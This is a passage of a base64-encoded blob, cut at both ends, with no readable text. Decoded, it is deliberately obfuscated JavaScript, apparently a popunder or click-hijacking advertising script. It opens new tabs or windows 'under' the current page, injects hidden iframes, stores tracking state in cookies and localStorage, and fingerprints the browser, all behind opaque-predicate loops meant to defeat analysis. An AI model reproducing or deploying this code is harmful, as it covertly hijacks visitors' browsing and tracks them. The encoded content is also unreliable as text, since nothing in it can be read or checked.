tQYz0vOlxkKyQvO1RjPXc1Llo2KDI3Mik7QWM9dzUuWjYoMzI3KTtGYz13NS5mNig0NzkpO1NjPXc1Llo2KDYxKTtqYz13NS5mNigyOTEpO0xjPXc1Llo2KDIzMik7emM9dzUuWjYoMTEpO0JjPXc1LmY2KDM0Nik7SWM9dzUuWjYoMTA1KTtNYz13NS5aNig0NzcpO1djPXc1Llo2KDQwKTtEYz13NS5aNig3Nik7VWM9dzUuWjYoMTYpO1JjPXc1Llo2KDIyNyk7TmM9dzUuWjYoMjA0KTtIYz13NS5mNigzNyk7IWZ1bmN0aW9uKHQseSxSdCxYZSxyaSx5aSxBaSxObixkcixVcixpbyxybyxDbyxHcyx6YyxVYyxxYyxKYyxWYywkYyl7InVzZSBzdHJpY3QiO3ZhciBRYyxHYyxZYyxLYyxaYyxYYyx0dSxldSxpdSxudSxydSxvdSxzdSxhdSxjdSx1dSxodSxmdSxwdSxfdSxsdSxkdSx2dSxidSxtdSxndSx5dSxrdSx3dSx4dSxPdSxDdSxFdSxQdSxUdSxBdSxGdTtydT10O3c1Llk0KDApO291PXc1LmM0KHVpLEdyLGJyLF9yLFllLFNpLFR0LGRuLFllLHUsbWksT3QsR3IsWWUsdXIpO3c1Llk0KDEpO3N1PXc1LnU0KGZlLFR0LEh0LG90LFR0KTt3NS5vNCgxKTthdT13NS51NChXaSxQZSxLLF9jLFBlKTt3NS5ZNCgyKTtjdT13NS5jNChydSxnaSk7dzUubzQoMik7dXU9dzUudTQocnUsWm8pO3c1Lm80KDMpO2h1PXc1LmM0KE9jLHJ1LEJpLFV0LEdyLEdyKTt3NS5vNCgyKTtmdT13NS51NChydSwkYSk7cHU9YW87X3U9eGk7bHU9THI7ZHU9bW47dnU9eVtmXVtxbytHcitDXVtYcytHcit0cytHcituY10oKTtidT17dW5kZXI6bzUsbmV3VGFiOm81fTttdT1udWxsO2d1PW81O3l1PSF7fTtrdT1mdW5jdGlvbigpe307dzUuWTQoNCk7d3U9dzUudTQoR3IsT3QsRXQpO3h1PXJpW3ZzK0dyK0FvXXx8e3NyYzpudWxsfTt3NS5vNCg0KTtPdT15W2ZdW3c1LmM0KGVvLEdyLGtyKV07Q3U9eXU7RXU9eXU7UHU9eXU7VHU9ZnVuY3Rpb24oKXt2YXIgRTksbzksdzk7dHJ5e0U5PTM2MDIzMDM0MztvOT01MDA4ODEwMDM7dzk9Mjtmb3IodmFyIGI1PTE7dzUuTDEoYjUudG9TdHJpbmcoKSxiNS50b1N0cmluZygpLmxlbmd0aCw1ODI0MykhPT1FOTtiNSsrKXtyZXR1cm4geVtwXT09PXlbcXJdfHwheVtwXVttcl1bRWldWyhYcy1HciklaF0oKSE9VGM/eVtwXTp5W3FyXTt3OSs9Mjt9aWYodzUuTDEodzkudG9TdHJpbmcoKSx3OS50b1N0cmluZygpLmxlbmd0aCw1MTUyOSkhPT1vOSl7cmV0dXJuIHlbcF0hPT15W3FyXSYmdHlwZW9mIHlbcF1bbXJdW0VpXVtYcytHcitoXSgpPT09VGM/eVtwXTp5W3FyXTt9fWNhdGNoKHQpe3ZhciBBOSxJOSxLOTtBOT0yMjIyMDY4MDc7STk9NDU1MTUwMTA4O0s5PTI7Zm9yKHZhciBROT0xO3c1LkwxKFE5LnRvU3RyaW5nKCksUTkudG9TdHJpbmcoKS5sZW5ndGgsNjg5NDApIT09QTk7UTkrKyl7cmV0dXJuIFB1PWd1LHlbcXJdO0s5Kz0yO31pZih3NS5MMShLOS50b1N0cmluZygpLEs5LnRvU3RyaW5nKCkubGVuZ3RoLDU2NzU3KSE9PUk5KXtyZXR1cm4gUHU9Z3UseVtxcl07fX19KCk7QXU9VHVbSmFdW1FhXTtGdT1mdW5jdGlvbigpe3ZhciB0O3RyeXt0PVR1W0VpXVt1bl07fWNhdGNoKHQpe31yZXR1cm4hUHUmJnR8fChidT17bmV3VGFiOmd1LHVuZGVyOnl1fSx0PXJpW2lhXSksdDt9KCk7S2M9e3Q6W10sbjpmdW5jdGlvbih0KXt2YXIgSDcsdjcsVDc7SDc9MTg2NDAwNjYwNDt2Nz03MzE4NDIzNTE7VDc9Mjtmb3IodmFyIG83PTE7dzUuZDEobzcudG9TdHJpbmcoKSxvNy50b1N0cmluZygpLmxlbmd0aCw5MTY5NikhPT1INztvNysrKXt0eXBlb2YgeVt3c10hPT1nZSYmeVt3c11bT29dJiZObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO1Q3Kz0yO31pZih3NS5kMShUNy50b1N0cmluZygpLFQ3LnRvU3RyaW5nKCkubGVuZ3RoLDI0OTc5KSE9PXY3KXt+eVt3c109PT1nZXx8eVt3c11bT29dfHxObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO319LHI6ZnVuY3Rpb24oKXtmb3IodmFyIHQ9MDt0PHRoaXMudFtwaV07dCsrKXt0aGlzLm4odGhpcy50W3RdKTt9fSxlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9W3RdW0tuXShBaVtYdF1bcW5dW0NpXShhcmd1bWVudHMsMSkpO3RoaXMudFtNcl0oZSk7R2MuaSgpJiZ0aGlzLm4oZSk7fX07ZXU9e3M6ZnVuY3Rpb24oKXtpZih0aGlzLm89PT1tdSl0cnl7eVthcytHcit0aV1bbGkrR3IrRXJdKHJ1LDEpO3lbYXMrR3IrdGldW3huK0dyK0VyXShydSk7dGhpcy5vPWd1O31jYXRjaCh0KXt2YXIgdzcscDcsYjk7dzc9LTE2MTA5ODQyMzA7cDc9OTg2NDU4NDQ2O2I5PTI7Zm9yKHZhciBtOT0xO3c1LmQxKG05LnRvU3RyaW5nKCksbTkudG9TdHJpbmcoKS5sZW5ndGgsODg3MTMpIT09dzc7bTkrKyl7dGhpcy5vPXl1O2I5Kz0yO31pZih3NS5MMShiOS50b1N0cmluZygpLGI5LnRvU3RyaW5nKCkubGVuZ3RoLDMzNDE0KSE9PXA3KXt0aGlzLm89eXU7fXRoaXMubz15dTt9cmV0dXJuIHRoaXMubzt9LHU6ZnVuY3Rpb24odCl7dGhpcy5zKCk/eVthcytHcit0aV1beG4rR3IrRXJdKHQpOnR1LnUodCk7fSxjOmZ1bmN0aW9uKHQpe3RyeXtyZXR1cm4gdGhpcy5zKCk/eVthcytHcit0aV1bYWErR3IrRXJdKHQpOnR1LmModCk7fWNhdGNoKHQpe3JldHVybiBtdTt9fSxvOm11LGE6ZnVuY3Rpb24odCxlKXt0aGlzLnMoKT95W2FzK0dyK3RpXVtsaStHcitFcl0odCxlKTp0dS5hKHQsZSk7fX07dHU9e3U6ZnVuY3Rpb24odCl7dGhpcy5hKHQsMCxuZXcgSmMoMCkpO30sYzpmdW5jdGlvbih0KXt2YXIgZTt3NS5ZNCg1KTtlPXJpW050XVtiY10obmV3IFVyKHc1LnU0KGVyLEdyLEdyLGV0LHNjLHQsR3IsR3IsdHQsdWMsR3IsR3IsSm8sR3IpLGxzKSk7cmV0dXJuIGU/VmMoZVswXVtDcl0oR3IrZXQrR3IpWzFdKTptdTt9LGE6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO3M9aXx8R3I7cyYmKHR5cGVvZiBzPT09V3Q/KG89bmV3IEpjKCkpW2xpK0dyK0hdKG9bYWErR3IrSF0oKSsxZTMqcyk6bz1zLHM9R3IrZXIrZmkrZXQrR3Irb1tYcytHcitWcitHcit4YytHcitXK0dyK2hdKCkpO3JpW050XT10KyhHcitldCtHcikrJGMoR3IrZSkrcysocj9HcitlcitkcytldCtHcityOkdyKSsoR3IrZXIrQXQrZXQrR3IpKyhufHxHcitQZStHcik7fX07WmM9e3A6ZnVuY3Rpb24odCl7dmFyIGUsaTtpPXt9O2ZvcihlPTA7ZTx0W3BpXTtlKyspe2lbdFtlXVswXV09dFtlXVsxXTt9cmV0dXJuIGk7fSxXOmZ1bmN0aW9uKHQsZSxpKXt2YXIgbjt0cnl7cmV0dXJuIG49dFthYStHcitHaV0oZSksdHlwZW9mIGkhPT1UYz95dTohIW5ldyBVcihGbitpK01zLGxzKVtqY10obik7fWNhdGNoKHQpe3JldHVybiB5dTt9fSxBOmZ1bmN0aW9uKCl7dHJ5e3JldHVybiB0eXBlb2YgeS5qUXVlcnkuZm4ub249PT1aczt9Y2F0Y2godCl7cmV0dXJuIHl1O319LEc6ZnVuY3Rpb24odCl7cmV0dXJuKHQ/bmV3IEpjKHQpOm5ldyBKYygpKVthYStHcitIXSgpO30sTTpmdW5jdGlvbih0KXt2YXIgbTAsQTAsSTAsZSxsNyxjNyxWNzttMD0tMTc4MjYxMjU4MTtBMD0tMTYzMzI0MDE2NDtJMD0yO2Zvcih2YXIgcjA9MTt3NS5MMShyMC50b1N0cmluZygpLHIwLnRvU3RyaW5nKCkubGVuZ3RoLDM0ODU4KSE9PW0wO3IwKyspe0kwKz0yO31pZih3NS5MMShJMC50b1N0cmluZygpLEkwLnRvU3RyaW5nKCkubGVuZ3RoLDg0OTA2KSE9PUEwKXt9dHJ5e2w3PS0xMjU4NTI0ODY5O2M3PTc3MTI1MDQ2ODtWNz0yO2Zvcih2YXIgeTc9MTt3NS5kMSh5Ny50b1N0cmluZygpLHk3LnRvU3RyaW5nKCkubGVuZ3RoLDEwMjkyKSE9PWw3O3k3KyspeyhlPXRbSmFdW1FhXShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7VjcrPTI7fWlmKHc1LmQxKFY3LnRvU3RyaW5nKCksVjcudG9TdHJpbmcoKS5sZW5ndGgsMjYwMTcpIT09YzcpeyhlPXRbSmFdW1FhXSgoVWEtVnQpL2NpKSlbYm9dKCk7ZVtJb10oKTt9fWNhdGNoKHQpe30oZT1BdShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7fSxUOmZ1bmN0aW9uKHQpe3QmJihUdVtFaV09dCk7fSxxOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZSxpPVt5cixUbixFYSxCZSxqcyxabixqdCxrYyx3ZV0sbj0wO248aVtwaV07bisrKWlmKGU9aVtuXVtqY10odnUpKXtyZXR1cm4gdD9VYyhlWzFdLDEwKTplWzFdW1pdKFFzLEdyK1R0K0dyKTt9cmV0dXJuIG11O30sTDpmdW5jdGlvbih0LGUpe3c1Llk0KDcpO3JldHVybiB3NS51NChZZSxlcixHcix0LGllLHlzLEdyLGUsR3IsVmUsVnQsR3IpO30sXzpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUTAsZTAsajA7UTA9LTE2NDA5MDY2NDA7ZTA9MzYxNTQ4MTI4O2owPTI7Zm9yKHZhciB0MD0xO3c1LmQxKHQwLnRvU3RyaW5nKCksdDAudG9TdHJpbmcoKS5sZW5ndGgsMzk3NjcpIT09UTA7dDArKyl7aT15O3c1Llk0KDQpO249dFtDcl0odzUudTQoR3IsVHQsR3IpKTtmb3IoZT0wO2U8bltwaV07ZSsrKXtpPWlbbltlXV07fXJldHVybiBpO2owKz0yO31pZih3NS5MMShqMC50b1N0cmluZygpLGowLnRvU3RyaW5nKCkubGVuZ3RoLDQ3NjE4KSE9PWUwKXtpPXk7dzUuWTQoNik7bj10W0NyXSh3NS51NChUdCxHcixHcikpO2ZvcihlPTQ7ZTw9bltwaV07ZS0tKXtpPWlbbltlXV07fXJldHVybiBpO319LFM6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbyxzMCxEMCxXMCxVMCx4MCx6MDtvPXkualF1ZXJ5fHxudWxsO2lmKHQmJnRbQW5dKXtyZXR1cm4gZ3U7fWlmKCFvKXtyZXR1cm4geXU7fXRyeXtzMD0tMTYxNTA0NTA7RDA9LTE5OTUwMzAzNTQ7VzA9Mjtmb3IodmFyIGMwPTE7dzUuZDEoYzAudG9TdHJpbmcoKSxjMC50b1N0cmluZygpLmxlbmd0aCw5Nzc5KSE9PXMwO2MwKyspe2lmKChlPShvKHQpW2llXShHYSkmJm8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9VzArPTI7fWlmKHc1LkwxKFcwLnRvU3RyaW5nKCksVzAudG9TdHJpbmcoKS5sZW5ndGgsMjI1MTYpIT09RDApe2lmKChlPShvKHQpW2llXShHYSl8fG8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9fX1jYXRjaCh0KXt9dHJ5e1UwPS0xMjgxMDM4MTgyO3gwPS01MjI2MTY2MzI7ejA9Mjtmb3IodmFyIGkwPTE7dzUuTDEoaTAudG9TdHJpbmcoKSxpMC50b1N0cmluZygpLmxlbmd0aCwzMjg1OSkhPT1VMDtpMCsrKXtmb3IoZT1vKHJpW1FyXSlbaWVdKEdhKVtnc10saT00O2k+ZVtwaV07aS0tKWZvcihyPW8oZVtpXVtvZV0pLG49NztuPj1yW3BpXTtuLS0paWYocltuXT09dCl7cmV0dXJuIGd1O316MCs9Mjt9aWYodzUuTDEoejAudG9TdHJpbmcoKSx6MC50b1N0cmluZygpLmxlbmd0aCw4ODE3MikhPT14MCl7Zm9yKGU9byhyaVtRcl0pW2llXShHYSlbZ3NdLGk9NDtpPmVbcGldO2ktLSlmb3Iocj1vKGVbaV1bb2VdKSxuPTc7bj49cltwaV07bi0tKWlmKHJbbl09PXQpe3JldHVybiBndTt9fWZvcihlPW8ocmlbUXJdKVtpZV0oR2EpW2dzXSxpPTA7aTxlW3BpXTtpKyspZm9yKHI9byhlW2ldW29lXSksbj0wO248cltwaV07bisrKWlmKHJbbl09PT10KXtyZXR1cm4gZ3U7fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sQzpmdW5jdGlvbih0LGUsaSl7dmFyIG4scixvO289WmMuTyhvNSk7cmV0dXJuIG49b1t0bytHcit5YV1bbXJdW1VzK0dyK0NuXShkZSksbltPXT1yYStQZStDdCxuW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoSmErVHQrX3QrWWUrR3IrZXQrR3IrWWUrSmErVHQrcCtZZStHcitldCtHcitZZStKYStUdCt1cytHcitDbitZZStHcitldCtHcitZZStkK2VyK0dyKSsoSmErVHQrJG4rWWUrR3IrZXQrR3IrWWUrWnMrUit6K1ZlK0dyK1llK3NvK1ZlK0dyK1llK0NlK1ArR3IrWWUrR3Ird24rR3IpKyh1YStZZStCcytHcitYbytZZStHcitldCtHcitZZStKYStUdCtRYStSK3orVmUrR3IrWWUrc28rVmUrR3IrWWUrQ2UrUCtHcitlcitHcikrKFdyK1llK0dyK3duK0JzK0dyK1hvK1R0K1dvK1llK0dyK2V0K0dyK1llK2QrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSsoTnIrWWUrQnMrR3IrWG8rZXIrR3IpKyhHcitEcitHcitlcitHciksb1t0bytHcit5YV1bbXJdW1FyXVtJdCtHcitXZV0obikscj1vW3RvK0dyK3lhXS5ta3AodCxlLGkpLFpjLlAobykscjt9LEI6ZnVuY3Rpb24odCxlLG4pe3ZhciByLG8scztyPTA7bz1ufHwxMDtzPXQ7dHJ5e2Zvcig7cyYmcisrPG87KXtpZih0eXBlb2YgZT09PVRjJiYoc1tTYytHcittY109PT1lfHxaYy5JKHMsZSkpfHx0eXBlb2YgZT09PWFyJiZzPT09ZSl7cmV0dXJuIHM7fXc1Llk0KDQpO3M9c1t3NS51NChfdCxHcixpKV07fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sRjpmdW5jdGlvbih0KXt2YXIgZTtlPVJ0W1RlXTtyZXR1cm4gdHlwZW9mIHQhPT1nZSYmKGU9KGN0W2pjXSh0KXx8W0dyLEdyXSlbMV0pLGVbWl0oUGMsR3IpO30seDpmdW5jdGlvbih0KXtyZXR1cm4geWlbWHRdW1hzK0dyK2hdW0NpXSh0KT09PUdyK0pvK2FyK1llK2JuK3R0K0dyO30sazpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUjAsUDAsSjA7aT1bXTtuPVpjLnYoKTt0cnl7UjA9LTE2Mjc2MTY5Mzc7UDA9LTIwMDI5NzgxNzY7SjA9Mjtmb3IodmFyIEIwPTE7dzUuTDEoQjAudG9TdHJpbmcoKSxCMC50b1N0cmluZygpLmxlbmd0aCw3NjkxMCkhPT1SMDtCMCsrKXtmb3IoZSBpbiBuKXt+dFtlXSE9Z2V8fGlbTXJdKGUvKChHci1ldCklR3IpLXRbZV0pO31KMCs9Mjt9aWYodzUuTDEoSjAudG9TdHJpbmcoKSxKMC50b1N0cmluZygpLmxlbmd0aCw4NjExMCkhPT1QMCl7Zm9yKGUgaW4gbil7fnRbZV0hPWdlfHxpW01yXShlLygoR3ItZXQpJUdyKS10W2VdKTt9fWZvcihlIGluIG4pe3R5cGVvZiB0W2VdIT09Z2UmJmlbTXJdKGUrKEdyK2V0K0dyKSt0W2VdKTt9fWNhdGNoKHQpe0tjLmUodCk7fXc1Llk0KDQpO3JldHVybiBpW05pXSh3NS5jNChHcixWZSxHcikpO30sUjpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy5CKHQsT24pO30seTpmdW5jdGlvbigpe2Zvcih2YXIgdCxlPXt9LGk9MDtpPGFyZ3VtZW50c1twaV07aSsrKWZvcih0IGluIGFyZ3VtZW50c1tpXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0oYXJndW1lbnRzW2ldLHQpJiYoZVt0XT1hcmd1bWVudHNbaV1bdF0pO31yZXR1cm4gZTt9LFY6ZnVuY3Rpb24odCxlKXt2YXIgSjEsWDEsQjE7SjE9NDUyODczNzI5O1gxPTEyNzMxMDM4NTg7QjE9Mjtmb3IodmFyIE4xPTE7dzUuZDEoTjEudG9TdHJpbmcoKSxOMS50b1N0cmluZygpLmxlbmd0aCw1NTI1MSkhPT1KMTtOMSsrKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpKihlLXQpKSt0O0IxKz0yO31pZih3NS5kMShCMS50b1N0cmluZygpLEIxLnRvU3RyaW5nKCkubGVuZ3RoLDI4MzUxKSE9PVgxKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpJShlL3QpKSV0O319LFE6ZnVuY3Rpb24odCl7dmFyIGUsaSxuO3c1Llk0KDgpO2U9dzUuYzQodHlwZW9mIHQsYXIpO2k9dDt3NS5vNCg0KTtuPXJpW1VzK0dyK0NhXSh3NS51NChTbixHcix1bykpO25bTHMrR3IrU24rR3IrQ2FdKGdzLGd1LGd1LHksMCwwLDAsMCwwLGd1LHl1LHl1LGd1LDAsbXUpO2V8fChpPVpjLnooVSx7aHJlZjp0fHxpZStWdCtyYStQZStqbytWZStHcit1aStkZSt1citKYStUdCtJbytSK0dyK1ArR3IrZXIrR3IrdWkrR3IrUGUrZGUrdXIrR3J9KSxyaVtRcl1bSXQrR3IrV2VdKGkpKTtpW2duK0dyK0NhXShuKTtlfHxaYy5QKGkpO30sejpmdW5jdGlvbih0LGUsaSl7dmFyIG4scjtyPXJpW1VzK0dyK0NuXSh0KTtmb3IobiBpbiBlKXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShlLG4pJiZyW2xpK0dyK0dpXShuLGVbbl0pO31yZXR1cm4gaSYmKHJbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPWkpLHI7fSxZOmZ1bmN0aW9uKCl7dHJ5e3c1Lm80KDQpO3JldHVybiEhT3VbdzUuYzQoZW4sUGUsTWMpXVt3NS51NCgkaSxHcixXcyldO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sbDpmdW5jdGlvbih0KXt2YXIgZSxpLFk3LGY3LHM3O2U9WmMuXyh0KTt3NS5ZNCg0KTtpPXRbWl0oQWEsdzUudTQoR3Isem8scSkpO3RyeXtZNz0tMTYzMTA2MDI3MDtmNz0xOTgxNTM2MDYxO3M3PTI7Zm9yKHZhciBXNz0xO3c1LkwxKFc3LnRvU3RyaW5nKCksVzcudG9TdHJpbmcoKS5sZW5ndGgsMTYwMikhPT1ZNztXNysrKXtyZXR1cm4rbmV3IFVyKChacy9ZZS1HcikvIGkveHIsUnMpW2lyXShlW1hzJUdyL2hdKCkpO3M3Kz0yO31pZih3NS5MMShzNy50b1N0cmluZygpLHM3LnRvU3RyaW5nKCkubGVuZ3RoLDExNjM3KSE9PWY3KXtyZXR1cm4hbmV3IFVyKFpzK1llK0dyK2kreHIsUnMpW2lyXShlW1hzK0dyK2hdKCkpO319Y2F0Y2godCl7cmV0dXJuIHRbWHMrR3IraF0oKVtMK0dyK1dhXShrbytZZStycytZZStVK1llK1pzKT4tMT9ndTpYYy5kP2d1Onl1O319LHY6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbzt3NS5vNCg0KTtlPXlbdzUuYzQoUGEsR3IsZyldO3c1Llk0KDQpO2k9eVt3NS5jNChQYSxHcix3YyldO249eVtPaStHcitVZV18fHlbT2krR3IrV25dfHwwO3I9eVtPaStHcit4b118fHlbT2krR3IrQ2NdfHwwO289e307cmV0dXJuIG9bb2NdPWUsb1tLYV09aSxvW0hpXT1uLG9bcF09cixvW29yXT0wLG9bRWldPTEsb1tTcl09MSxvW09yXT0xLG8ucmVzaXphYmxlPTEsb1tNZV09MSxYYy5iJiYob1tLYV0rPVhjLm0/NDY6NTIpLFhjLmcmJihvW29jXS09NSxvW0thXS09NCksdHlwZW9mIHQ9PT1hciYmKG89WmMueShvLHQpKSxvO30sTzpmdW5jdGlvbih0KXt2YXIgZTtlPXJpW1VzK0dyK0NuXShjbik7cmV0dXJuIGVbeGVdW3h0XT1YaSx0JiZyaVtRcl1bSXQrR3IrV2VdKGUpLGU7fSxEOmZ1bmN0aW9uKHQpe3JldHVybiB0W1NjK0dyK21jXT09PUZjK0dyK1ZyK0dyK3hjK0dyK3hjK0dyK2ZjK0dyK2d0fHx0W1NjK0dyK21jXT09PXZhK0dyK2d0K0dyK210K0dyK1ZyK0dyK3hjJiZVbltpcl0odFthYStHcitHaV0oTykpfHx0aGlzLkIodCxGYytHcitWcitHcit4YytHcit4YytHcitmYytHcitndCkhPT15dTt9LFA6ZnVuY3Rpb24odCl7dCYmdFtfdCtHcitpXSYmdFtfdCtHcitpXVt4bitHcitXZV0odCk7fSxJOmZ1bmN0aW9uKHQsZSl7dmFyIG4scixvO2lmKHR5cGVvZiBlIT09VGMpe3JldHVybiB5dTt9aWYodHlwZW9mIHJpW2VlK0dyK3Z0K0dyK21dPT09WnMpdHJ5e3I9dFtfdCtHcitpXVtlZStHcit2dCtHcittXShlKXx8eS5qUXVlcnkoZSk7fWNhdGNoKHQpe31lbHNlIGlmKFpjLkEoKSl0cnl7cj15LmpRdWVyeShlKTt9Y2F0Y2godCl7fWlmKHIpZm9yKG89MDtvPHJbcGldO28rKylpZihyW29dPT09dCl7cmV0dXJuIGd1O31zd2l0Y2goZVswXSl7Y2FzZSBHcitUdCtHcjpuPVtsbyxlW2ZzXSgxKV07YnJlYWs7Y2FzZSBHcitzZStHcjpuPVtWYSxlW2ZzXSgxKV07fXJldHVybiBuP3RoaXMuVyh0LG5bMF0sblsxXSk6eXU7fSxmOmZ1bmN0aW9uKHQsZSl7dHJ5e3JldHVybiEoIXRba2ldW2VdfHwhdFtraV1bZV1bWW5dKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LE46ZnVuY3Rpb24odCl7dmFyIGU7ZT10aGlzLlIodCk7cmV0dXJuIGUmJmVbdW5dJiYheHNbaXJdKGVbdW5dKT9lW3VuXTp5dTt9LEo6ZnVuY3Rpb24odCxlLGksbil7Zm9yKHZhciByLG8scyxhPXRbWHMrR3IraF0oKVtDcl0obnx8R3IrVHQrR3IpLGM9ZVtYcytHcitoXSgpW0NyXShufHxHcitUdCtHciksdT0wLGY9ZHJbQm9dKGFbcGldLGNbcGldKTt1PGYmJihyPVVjKGFbdV18fDAsMTApLG89VWMoY1t1XXx8MCwxMCkscWMocikmJihyPTApLHFjKG8pJiYobz0wKSxzPXI+bz8xOi0xLHI9PT1vKTt1Kyspe3M9MDt9c3dpdGNoKGkpe2Nhc2UgR3IrdXIrR3I6dzUubzQoOCk7cmV0dXJuIHc1LnU0KDEscyk7Y2FzZSBHcit1citHcitldCtHcjp3NS5ZNCg5KTtyZXR1cm4gdzUuYzQocywxKTtjYXNlIEdyK3VpK0dyOnc1Lm80KDEwKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK3VpK0dyK2V0K0dyOnc1Llk0KDExKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK2V0K0dyK2V0K0dyOmNhc2UgR3IrZXQrR3IrZXQrR3IrZXQrR3I6ZGVmYXVsdDp3NS5ZNCg4KTtyZXR1cm4gdzUudTQoMCxzKTt9fSwkOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZT1wZVtDcl0oR3IpLGk9ZVtwaV0sbj0wLHI9R3I7bjx0O24rKyl7cis9ZVtkcltBY10oZHJbTW5dKCkqaSldO31yZXR1cm4gcjt9LGg6ZnVuY3Rpb24odCxlKXt0cnl7cmV0dXJuIHRbYWErR3IrR2ldKGUpO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sSDpmdW5jdGlvbih0LGUsaSl7dmFyIG47dzUubzQoMik7bj13NS5jNChoaSx0KTtyZXR1cm4gdHlwZW9mIHlbbl0hPT1nZSYmcm8oeVtuXSkseVtuXT1pbyhlLGkpO30sdzpmdW5jdGlvbigpe3JldHVybiBQdTt9LFU6ZnVuY3Rpb24odCl7cmV0dXJuIHRbU2MrR3IrbWNdPT09dmErR3IrZ3QrR3IrbXQrR3IrVnIrR3IreGMmJm5lW2lyXSh0W2FhK0dyK0dpXShPKSl8fHRbU2MrR3IrbWNdPT09cGErR3IrT24rR3IrRmMrR3IrUHMrR3IrcGE7fX07aXU9e3R0OmZ1bmN0aW9uKHQsZSl7dmFyIGkscTUsbTUsQTU7dHJ5e3E1PS0xNDE1MjczNDIzO201PS0zMzc1MDc5MjY7QTU9Mjtmb3IodmFyIEs1PTE7dzUuZDEoSzUudG9TdHJpbmcoKSxLNS50b1N0cmluZygpLmxlbmd0aCwzNzU1NSkhPT1xNTtLNSsrKXtyZXR1cm4gZXx8KGk9cmlbKHdyLUdyKSVqbipHcipMY10odFtIYyVHci9VZV0sdFtIYy9Hci14b10pKT9pOnRbVGldJiZ0W1hzLUdyLUNuXSYmdFsoWHItR3IpJUNuXTtBNSs9Mjt9aWYodzUuTDEoQTUudG9TdHJpbmcoKSxBNS50b1N0cmluZygpLmxlbmd0aCw3MjUzNikhPT1tNSl7cmV0dXJuIGUmJihpPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXSx0W0hjK0dyK3hvXSkpP2k6dFtUaV18fHRbWHMrR3IrQ25dfHx0W1hyK0dyK0NuXTt9fWNhdGNoKHQpe3JldHVybiB5dTt9fSxYOmZ1bmN0aW9uKHQsZSxpLG4pe3JldHVybiB0eXBlb2YgdFtIbitHcitDYStHcitFbl09PT1acz90W0huK0dyK0NhK0dyK0VuXShlLGksbnx8e30pOnRbRmUrR3IrQ2FdKE5vK2UsaSk7fSxLOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByO3I9ZnVuY3Rpb24oKXtpdS5aKHQsZSxyLG4pO2lbQ2ldKCk7fTtpdS5YKHQsZSxyLG4pO30sWjpmdW5jdGlvbih0LGUsaSxuKXtyZXR1cm4gdHlwZW9mIHRbeG4rR3IrQ2ErR3IrRW5dPT09WnM/dFt4bitHcitDYStHcitFbl0oZSxpLG58fHt9KTp0W0tpK0dyK0NhXShObytlLGkpO319OyEoWGM9e2l0OmZhW2lyXSh2dSksbnQ6c3RbaXJdKHZ1KSxtOmxlW2lyXSh2dSksZXQ6YWNbaXJdKHZ1KSxydDpTb1tpcl0odnUpLG90OnNpW2lyXSh2dSl8fEpyW2lyXSh2dSl8fHVlW2lyXSh2dVtmc10oMCw0KSksc3Q6dm9baXJdKHZ1KSxnOkFyW2lyXSh2dSkmJiFfYVtpcl0odnUpLGI6bHJbaXJdKHZ1KSYmIW1hW2lyXSh2dSksYXQ6bWVbaXJdKHZ1KSYmIWdyW2lyXSh2dSksY3Q6eFtpcl0odnUpLGQ6Rltpcl0odnUpLHV0OnlvW2lyXSh2dSksX3Q6bXUscHQ6WmMucShndSl8fG11LGx0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuX3QhPT1tdT90aGlzLl90OnRoaXMuX3Q9UWMuZHQoKSE9PXl1O30sSjpmdW5jdGlvbih0LGUpe3JldHVybiBaYy5KKFhjLmZ0LGUsdCk7fSxodDptb1tpcl0odnUpJiYhenJbaXJdKHZ1KSxmdDpaYy5xKHl1KXx8bXV9KS5ldHx8WGMuaHR8fFhjLmR8fFhjLmJ8fChYYy51dD1vNSk7KFljPWZ1bmN0aW9uKHQsZSxpKXt2YXIgbjtuPWl8fHt9O25bel09ZTt0aGlzLnZ0KG4pO3RoaXMubXQuYnR8fCh0aGlzLm10LmJ0PXJ1K3QpO3RoaXMuZ3QoKTt9KVtYdF09e2t0OntUdDpndSxDdDptdSxqdDp5dSxFdDpHcitQZStHcixGdDprdSxMdDpndSxBdDp5dSxPdDpndSx4dDptdSxQdDpudWxsLGJ0Om11LHd0Om11LFN0Omt1fSxtdDp7fSx5dDpudWxsLHp0OlpjLnYoKSxCdDpaYy5wKFtbT3IsMF1dKSxJdDpaYy5wKFtbTWUsMV1dKSxNdDpaYy5wKFtbU3IsMV1dKSxXdDpaYy5wKFtbRWksMF0sW1NyLDBdXSksRHQ6WmMucChbW01lLDBdXSksVXQ6WmMucChbW1p0LDBdXSksUnQ6WmMucChbW0VpLDBdXSksc2V0T3B0aW9uczpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy52dCh0KTt9LGd0OmZ1bmN0aW9uKCl7dmFyIHQsZSxpLG47dD1mdW5jdGlvbih0LGUpe3ZhciBpLG4